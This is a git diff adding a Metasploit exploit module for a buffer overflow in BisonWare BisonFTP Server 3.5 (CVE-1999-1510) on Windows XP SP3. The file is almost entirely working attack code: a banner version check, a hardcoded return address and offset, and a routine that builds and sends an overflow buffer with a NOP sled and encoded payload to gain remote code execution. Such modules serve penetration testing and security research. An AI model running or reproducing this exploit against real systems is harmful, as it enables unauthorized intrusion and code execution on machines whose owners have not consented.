diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb new file mode 100644 index 0000000000..1c84313c9e --- /dev/null +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BisonWare BisonFTP Server Buffer Overflow', + 'Description' => %q{ + BisonWare BisonFTP Server 3.5 is prone to an overflow condition. + This module exploits a buffer overflow vulnerability in the said + application. + }, + 'Platform' => 'win', + 'Author' => + [ + 'localh0t', # initial discovery + 'veerendragg @ SecPod', # initial msf + 'Jay Turla' # msf + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '1999-1510'], + [ 'BID', '49109'], + [ 'EDB', '17649'], + [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'] + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'VERBOSE' => true + }, + 'Payload' => + { + 'Space' => 385, + 'BadChars' => "\x00\x0a\x0d", + }, + 'Targets' => + [ + [ 'Bisonware FTP Server / Windows XP SP3 EN', + { + 'Ret' => 0x0040333f, + 'Offset' => 1432 + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 07 2011')) + end + + def check + connect_login + disconnect + if /BisonWare BisonFTP server product V3\.5/i === banner + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def exploit + connect + print_status('Triggering the prompt for an unregistered product') + sock.put('') + print_status('Disconnecting...') + disconnect + + print_status('Connecting for the second time to deliver our payload...') + connect #connect for the second time + + buf = rand_text_alpha(1028) + buf << "\x90" * 16 + buf << payload.encoded + buf << "\x90" * (388 - payload.encoded.length) + buf << [target.ret].pack('V') + buf << rand_text_alpha(39) + print_status('Sending payload...') + + sock.put(buf) + handler + disconnect + end +end